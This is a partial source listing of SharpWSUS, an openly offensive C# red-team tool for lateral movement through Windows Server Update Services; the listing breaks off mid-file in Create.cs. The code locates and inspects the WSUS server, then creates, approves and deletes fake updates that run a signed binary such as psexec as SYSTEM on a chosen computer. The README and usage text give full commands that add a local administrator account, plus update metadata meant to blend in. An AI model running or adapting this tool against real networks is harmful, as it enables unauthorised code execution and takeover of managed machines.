├── .gitignore ├── SharpWSUS ├── app.config ├── Commands │ ├── ICommand.cs │ ├── Locate.cs │ ├── Inspect.cs │ ├── Check.cs │ ├── Delete.cs │ ├── Approve.cs │ └── Create.cs ├── lib │ ├── ClGuid.cs │ ├── Connect.cs │ ├── ClFile.cs │ ├── Reg.cs │ ├── Status.cs │ ├── Enum.cs │ ├── Server.cs │ ├── Group.cs │ └── Build.cs ├── Args │ ├── ArgumentParserResult.cs │ ├── ArgumentParser.cs │ ├── CommandCollection.cs │ └── Info.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── SharpWSUS.csproj ├── SharpWSUS.sln └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | .DS_Store 8 | 9 | -------------------------------------------------------------------------------- /SharpWSUS/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpWSUS/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpWSUS.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /SharpWSUS/Commands/Locate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Locate : ICommand 8 | { 9 | 10 | public static string CommandName => "locate"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("[*] Action: Locate WSUS Server"); 15 | 16 | Enum.FbGetWSUSServer(); 17 | 18 | Console.WriteLine("\r\n[*] Locate complete\r\n"); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /SharpWSUS/lib/ClGuid.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | public class ClGuid 4 | { 5 | public static Guid gUpdate; 6 | public static Guid gBundle; 7 | public static Guid gTargetGroup; 8 | //public ClGuid() 9 | //{ 10 | // gUpdate = Guid.NewGuid(); 11 | // gBundle = Guid.NewGuid(); 12 | // gTargetGroup = Guid.NewGuid(); 13 | //} 14 | 15 | public static void GenerateUpdateGUID() 16 | { 17 | gUpdate = Guid.NewGuid(); 18 | } 19 | 20 | public static void GenerateBundleGUID() 21 | { 22 | gBundle = Guid.NewGuid(); 23 | } 24 | public static void GenerateTargetGroupGUID() 25 | { 26 | gTargetGroup = Guid.NewGuid(); 27 | } 28 | 29 | 30 | } 31 | -------------------------------------------------------------------------------- /SharpWSUS/Args/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpWSUS.Args 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } -------------------------------------------------------------------------------- /SharpWSUS/Commands/Inspect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Inspect : ICommand 8 | { 9 | 10 | public static string CommandName => "inspect"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("[*] Action: Inspect WSUS Server"); 15 | 16 | Server.GetServerDetails(); 17 | SqlCommand sqlComm = new SqlCommand(); 18 | sqlComm.Connection = Connect.FsqlConnection(); 19 | 20 | Enum.FbGetWSUSConfigSQL(sqlComm); 21 | 22 | Enum.FbEnumAllComputers(sqlComm); 23 | 24 | Enum.FbEnumDownStream(sqlComm); 25 | 26 | Enum.FbEnumGroups(sqlComm); 27 | 28 | Console.WriteLine("\r\n[*] Inspect complete\r\n"); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /SharpWSUS.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31410.357 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpWSUS/Commands/Check.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Check : ICommand 8 | { 9 | 10 | public static string CommandName => "check"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("[*] Action: Check Update"); 15 | 16 | string UpdateID = ""; 17 | string ComputerName = ""; 18 | 19 | if (arguments.ContainsKey("/updateid")) 20 | { 21 | UpdateID = arguments["/updateid"]; 22 | } 23 | 24 | if (arguments.ContainsKey("/computername")) 25 | { 26 | ComputerName = arguments["/computername"]; 27 | } 28 | 29 | Server.GetServerDetails(); 30 | SqlCommand sqlComm = new SqlCommand(); 31 | sqlComm.Connection = Connect.FsqlConnection(); 32 | 33 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) 34 | { 35 | return; 36 | } 37 | 38 | if (!Status.FbGetUpdateStatus(sqlComm, UpdateID)) 39 | { 40 | return; 41 | } 42 | 43 | Console.WriteLine("\r\n[*] Check complete\r\n"); 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /SharpWSUS/lib/Connect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | 4 | public class Connect 5 | { 6 | public static SqlConnection FsqlConnection() 7 | { 8 | SqlConnection sqlcQuery = new SqlConnection(); 9 | 10 | if (Server.sDatabaseInstance.Contains("##WID") || Server.sDatabaseInstance.Contains("##SSEE")) 11 | { 12 | if (Server.sOS.Contains("Server 2008")) 13 | { 14 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + Server.sDatabaseName + @";Integrated Security=True"; 15 | } 16 | else 17 | { 18 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=" + Server.sDatabaseName + @"; Integrated Security=True"; 19 | } 20 | } 21 | else 22 | { 23 | sqlcQuery.ConnectionString = @"Server=" + Server.sDatabaseInstance + @";Database=" + Server.sDatabaseName + @"; Integrated Security=True"; 24 | } 25 | 26 | try 27 | { 28 | sqlcQuery.Open(); 29 | } 30 | catch (Exception e) 31 | { 32 | Console.WriteLine("\r\nFunction error - FsqlConnection."); 33 | 34 | Console.WriteLine($"Error Message: {e.Message}"); 35 | return null; 36 | } 37 | return sqlcQuery; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpWSUS/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using SharpWSUS.Args; 4 | 5 | namespace SharpWSUS 6 | { 7 | class Program 8 | { 9 | private static void MainExecute(string commandName, Dictionary parsedArgs) 10 | { 11 | // main execution logic 12 | 13 | Info.ShowLogo(); 14 | 15 | try 16 | { 17 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); 18 | 19 | // show the usage if no commands were found for the command name 20 | if (commandFound == false) 21 | Info.ShowUsage(); 22 | } 23 | catch (Exception e) 24 | { 25 | Console.WriteLine("\r\n[!] Unhandled SharpWSUS exception:\r\n"); 26 | Console.WriteLine(e); 27 | } 28 | } 29 | 30 | public static void Main(string[] args) 31 | { 32 | // try to parse the command line arguments, show usage on failure and then bail 33 | var parsed = ArgumentParser.Parse(args); 34 | if (parsed.ParsedOk == false) 35 | { 36 | Info.ShowLogo(); 37 | Info.ShowUsage(); 38 | return; 39 | } 40 | 41 | var commandName = args.Length != 0 ? args[0] : ""; 42 | 43 | MainExecute(commandName, parsed.Arguments); 44 | 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /SharpWSUS/Args/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace SharpWSUS.Args 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | { 18 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 19 | } 20 | else 21 | { 22 | idx = argument.IndexOf('='); 23 | if (idx > 0) 24 | { 25 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 26 | } 27 | else 28 | { 29 | arguments[argument] = string.Empty; 30 | } 31 | } 32 | } 33 | 34 | return ArgumentParserResult.Success(arguments); 35 | } 36 | catch (System.Exception ex) 37 | { 38 | Debug.WriteLine(ex.Message); 39 | return ArgumentParserResult.Failure(); 40 | } 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SharpWSUS/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpWSUS")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpWSUS")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("42cabb74-1199-40f1-9354-6294bba8d3a4")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpWSUS/Args/CommandCollection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using SharpWSUS.Commands; 4 | 5 | namespace SharpWSUS.Args 6 | { 7 | public class CommandCollection 8 | { 9 | private readonly Dictionary> _availableCommands = new Dictionary>(); 10 | 11 | // How To Add A New Command: 12 | // 1. Create your command class in the Commands Folder 13 | // a. That class must have a CommandName static property that has the Command's name 14 | // and must also Implement the ICommand interface 15 | // b. Put the code that does the work into the Execute() method 16 | // 2. Add an entry to the _availableCommands dictionary in the Constructor below. 17 | 18 | public CommandCollection() 19 | { 20 | _availableCommands.Add(Create.CommandName, () => new Create()); 21 | _availableCommands.Add(Approve.CommandName, () => new Approve()); 22 | _availableCommands.Add(Check.CommandName, () => new Check()); 23 | _availableCommands.Add(Delete.CommandName, () => new Delete()); 24 | _availableCommands.Add(Inspect.CommandName, () => new Inspect()); 25 | _availableCommands.Add(Locate.CommandName, () => new Locate()); 26 | 27 | } 28 | 29 | public bool ExecuteCommand(string commandName, Dictionary arguments) 30 | { 31 | bool commandWasFound; 32 | 33 | if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) 34 | commandWasFound= false; 35 | else 36 | { 37 | // Create the command object 38 | var command = _availableCommands[commandName].Invoke(); 39 | 40 | // and execute it with the arguments from the command line 41 | command.Execute(arguments); 42 | 43 | commandWasFound = true; 44 | } 45 | 46 | return commandWasFound; 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /SharpWSUS/lib/ClFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Security.Cryptography; 4 | using System.Web; 5 | 6 | public class ClFile 7 | { 8 | public static string sFileName; 9 | public static string sPayload; 10 | public static string sFilePath; 11 | public static string sArgs; 12 | public static long lSize; 13 | public static string sSHA1; 14 | public static string sSHA256; 15 | 16 | public ClFile(string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile) 17 | { 18 | sFilePath = sPFilePath; 19 | sFileName = System.IO.Path.GetFileName(sFilePath); 20 | sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs)); 21 | if (bPCopyFile == true) 22 | { 23 | FbCopyFile(sFilePath, sContentLocation); 24 | } 25 | lSize = new System.IO.FileInfo(sFilePath).Length; 26 | sSHA1 = GetBase64EncodedSHA1Hash(sFilePath); 27 | sSHA256 = GetBase64EncodedSHA256Hash(sFilePath); 28 | } 29 | public static bool FbCopyFile(string sFilePath, string sContentLocation) 30 | { 31 | try 32 | { 33 | //Console.WriteLine(sFilePath); 34 | //Console.WriteLine(sContentLocation); 35 | File.Copy(sFilePath, sContentLocation + @"\wuagent.exe", true); 36 | return true; 37 | } 38 | catch (Exception e) 39 | { 40 | Console.WriteLine("\r\nFunction error - FbCopyFile."); 41 | 42 | Console.WriteLine($"Error Message: {e.Message}"); 43 | return false; 44 | } 45 | } 46 | //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543 47 | public string GetBase64EncodedSHA1Hash(string filename) 48 | { 49 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); 50 | SHA1Managed sha1 = new SHA1Managed(); 51 | { 52 | return Convert.ToBase64String(sha1.ComputeHash(fs)); 53 | } 54 | } 55 | public string GetBase64EncodedSHA256Hash(string filename) 56 | { 57 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); 58 | SHA256Managed sha256 = new SHA256Managed(); 59 | { 60 | return Convert.ToBase64String(sha256.ComputeHash(fs)); 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /SharpWSUS/Commands/Delete.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Delete : ICommand 8 | { 9 | 10 | public static string CommandName => "delete"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("[*] Action: Delete Update"); 15 | 16 | string UpdateID = ""; 17 | string ComputerName = ""; 18 | string GroupName = "InjectGroup"; 19 | bool KeepGroup = false; 20 | 21 | if (arguments.ContainsKey("/updateid")) 22 | { 23 | UpdateID = arguments["/updateid"]; 24 | } 25 | 26 | if (arguments.ContainsKey("/computername")) 27 | { 28 | ComputerName = arguments["/computername"]; 29 | } 30 | 31 | if (arguments.ContainsKey("/groupname")) 32 | { 33 | GroupName = arguments["/groupname"]; 34 | } 35 | 36 | if (arguments.ContainsKey("/keepgroup")) 37 | { 38 | KeepGroup = true; 39 | } 40 | 41 | Server.GetServerDetails(); 42 | SqlCommand sqlComm = new SqlCommand(); 43 | sqlComm.Connection = Connect.FsqlConnection(); 44 | 45 | 46 | if (!Status.FbDeleteUpdate(sqlComm, UpdateID)) 47 | { 48 | return; 49 | } 50 | 51 | if (ComputerName != "") 52 | { 53 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) 54 | { 55 | return; 56 | } 57 | 58 | if (!Group.FbGetGroupID(sqlComm, GroupName)) 59 | { 60 | return; 61 | } 62 | 63 | if (!Group.FbRemoveComputerFromGroup(sqlComm, Server.sTargetComputerTargetID)) 64 | { 65 | return; 66 | } 67 | 68 | if (KeepGroup == false) 69 | { 70 | if (!Group.FbRemoveGroup(sqlComm)) 71 | { 72 | return; 73 | } 74 | } 75 | } 76 | 77 | Console.WriteLine("\r\n[*] Delete complete\r\n"); 78 | 79 | } 80 | } 81 | } -------------------------------------------------------------------------------- /SharpWSUS/Commands/Approve.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Approve : ICommand 8 | { 9 | 10 | public static string CommandName => "approve"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("[*] Action: Approve Update"); 15 | 16 | string UpdateID = ""; 17 | string ComputerName = ""; 18 | string GroupName = "InjectGroup"; 19 | string Approver = "WUS Server"; 20 | Group.GroupExists = false; 21 | 22 | if (arguments.ContainsKey("/updateid")) 23 | { 24 | UpdateID = arguments["/updateid"]; 25 | } 26 | 27 | if (arguments.ContainsKey("/computername")) 28 | { 29 | ComputerName = arguments["/computername"]; 30 | } 31 | 32 | if (arguments.ContainsKey("/groupname")) 33 | { 34 | GroupName = arguments["/groupname"]; 35 | } 36 | 37 | if (arguments.ContainsKey("/approver")) 38 | { 39 | Approver = arguments["/approver"]; 40 | } 41 | 42 | Server.GetServerDetails(); 43 | SqlCommand sqlComm = new SqlCommand(); 44 | sqlComm.Connection = Connect.FsqlConnection(); 45 | 46 | ClGuid.GenerateTargetGroupGUID(); 47 | 48 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) 49 | { 50 | return; 51 | } 52 | 53 | if (!Group.FbGetGroupID(sqlComm, GroupName)) 54 | { 55 | return; 56 | } 57 | 58 | Console.WriteLine("Group Exists = {0}", Group.GroupExists); 59 | if (Group.GroupExists == false) 60 | { 61 | if (!Group.FbCreateGroup(sqlComm, GroupName)) 62 | { 63 | return; 64 | } 65 | } 66 | 67 | if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID)) 68 | { 69 | return; 70 | } 71 | 72 | if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver)) 73 | { 74 | return; 75 | } 76 | 77 | Console.WriteLine("\r\n[*] Approve complete\r\n"); 78 | return; 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /SharpWSUS/Args/Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpWSUS.Args 4 | { 5 | public static class Info 6 | { 7 | public static void ShowLogo() 8 | { 9 | string logo = @" 10 | ____ _ __ ______ _ _ ____ 11 | / ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| 12 | \___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ 13 | ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | 14 | |____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ 15 | |_| 16 | Phil Keeble @ Nettitude Red Team 17 | "; 18 | Console.WriteLine(logo); 19 | } 20 | 21 | public static void ShowUsage() 22 | { 23 | string usage = @" 24 | Commands listed below have optional parameters in <>. 25 | 26 | Locate the WSUS server: 27 | SharpWSUS.exe locate 28 | 29 | Inspect the WSUS server, enumerating clients, servers and existing groups: 30 | SharpWSUS.exe inspect 31 | 32 | Create an update (NOTE: The payload has to be a windows signed binary): 33 | SharpWSUS.exe create /payload:[File location] /args:[Args for payload] 34 | 35 | Approve an update: 36 | SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] 37 | 38 | Check status of an update: 39 | SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] 40 | 41 | Delete update and clean up groups added: 42 | SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] 43 | 44 | ##### Examples ###### 45 | Executing whoami as SYSTEM on a remote machine: 46 | SharpWSUS.exe inspect 47 | SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com"" 48 | SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" 49 | SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 50 | SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" 51 | "; 52 | Console.WriteLine(usage); 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpWSUS 2 | 3 | SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection. 4 | 5 | ## Credits 6 | 7 | Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility. 8 | 9 | * https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS 10 | * https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS 11 | 12 | ## Help Menu 13 | 14 | ``` 15 | ____ _ __ ______ _ _ ____ 16 | / ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| 17 | \___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ 18 | ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | 19 | |____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ 20 | |_| 21 | Phil Keeble @ Nettitude Red Team 22 | 23 | 24 | Commands listed below have optional parameters in <>. 25 | 26 | Locate the WSUS server: 27 | SharpWSUS.exe locate 28 | 29 | Inspect the WSUS server, enumerating clients, servers and existing groups: 30 | SharpWSUS.exe inspect 31 | 32 | Create an update (NOTE: The payload has to be a windows signed binary): 33 | SharpWSUS.exe create /payload:[File location] /args:[Args for payload] 34 | 35 | Approve an update: 36 | SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] 37 | 38 | Check status of an update: 39 | SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] 40 | 41 | Delete update and clean up groups added: 42 | SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] 43 | ``` 44 | 45 | ## Example Usage 46 | 47 | ``` 48 | sharpwsus locate 49 | 50 | sharpwsus inspect 51 | 52 | sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com" 53 | 54 | sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" 55 | 56 | sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local 57 | 58 | sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" 59 | ``` 60 | 61 | ## Notes 62 | 63 | * Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement. 64 | * The metadata on the create command is not needed, but is useful for blending in to the environment. 65 | * If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not) -------------------------------------------------------------------------------- /SharpWSUS/lib/Reg.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Runtime.InteropServices; 4 | 5 | public class Reg 6 | { 7 | public enum RegSAM 8 | { 9 | QueryValue = 0x0001, 10 | SetValue = 0x0002, 11 | CreateSubKey = 0x0004, 12 | EnumerateSubKeys = 0x0008, 13 | Notify = 0x0010, 14 | CreateLink = 0x0020, 15 | WOW64_32Key = 0x0200, 16 | WOW64_64Key = 0x0100, 17 | WOW64_Res = 0x0300, 18 | Read = 0x00020019, 19 | Write = 0x00020006, 20 | Execute = 0x00020019, 21 | AllAccess = 0x000f003f 22 | } 23 | public static class RegHive 24 | { 25 | public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); 26 | public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u); 27 | } 28 | public static class RegistryWOW6432 29 | { 30 | [DllImport("Advapi32.dll")] 31 | static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult); 32 | 33 | [DllImport("Advapi32.dll")] 34 | static extern uint RegCloseKey(int hKey); 35 | 36 | [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")] 37 | public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData); 38 | 39 | static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName) 40 | { 41 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName); 42 | } 43 | 44 | static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName) 45 | { 46 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName); 47 | } 48 | 49 | public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName) 50 | { 51 | //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002; 52 | int hkey = 0; 53 | 54 | try 55 | { 56 | uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey); 57 | if (0 != lResult) 58 | { 59 | return "ERROR_FILE_NOT_FOUND"; 60 | } 61 | uint lpType = 0; 62 | uint lpcbData = 1024; 63 | StringBuilder AgeBuffer = new StringBuilder(1024); 64 | uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData); 65 | if (lResultv != 0) 66 | { 67 | return "ERROR_FILE_NOT_FOUND"; 68 | } 69 | byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString()); 70 | return ByteArrayToString(arr); 71 | } 72 | finally 73 | { 74 | if (0 != hkey) RegCloseKey(hkey); 75 | } 76 | } 77 | public static string ByteArrayToString(byte[] ba) 78 | { 79 | if (BitConverter.IsLittleEndian) 80 | Array.Reverse(ba); 81 | 82 | string hex = BitConverter.ToString(ba); 83 | return hex.Replace("-", ""); 84 | } 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /SharpWSUS/SharpWSUS.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {42CABB74-1199-40F1-9354-6294BBA8D3A4} 8 | Exe 9 | SharpWSUS 10 | SharpWSUS 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /SharpWSUS/Commands/Create.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpWSUS.Commands 6 | { 7 | public class Create : ICommand 8 | { 9 | 10 | public static string CommandName => "create"; 11 | public static int iRevisionID; 12 | public static string PayloadPath = ""; 13 | public static string PayloadArgs = ""; 14 | public static string UpdateTitle = "SharpWSUS Update"; 15 | public static string UpdateDate = "2021-09-26"; 16 | public static string UpdateRating = "Important"; 17 | public static string UpdateMSRC = ""; 18 | public static string UpdateKB = "5006103"; 19 | public static string UpdateDescription = "Install this update to resolve issues in Windows."; 20 | public static string UpdateURL = @"https://www.nettitude.com"; 21 | 22 | public void Execute(Dictionary arguments) 23 | { 24 | Console.WriteLine("[*] Action: Create Update"); 25 | 26 | if (arguments.ContainsKey("/payload")) 27 | { 28 | PayloadPath = arguments["/payload"]; 29 | } 30 | 31 | if (arguments.ContainsKey("/args")) 32 | { 33 | PayloadArgs = arguments["/args"]; 34 | } 35 | 36 | if (arguments.ContainsKey("/title")) 37 | { 38 | UpdateTitle = arguments["/title"]; 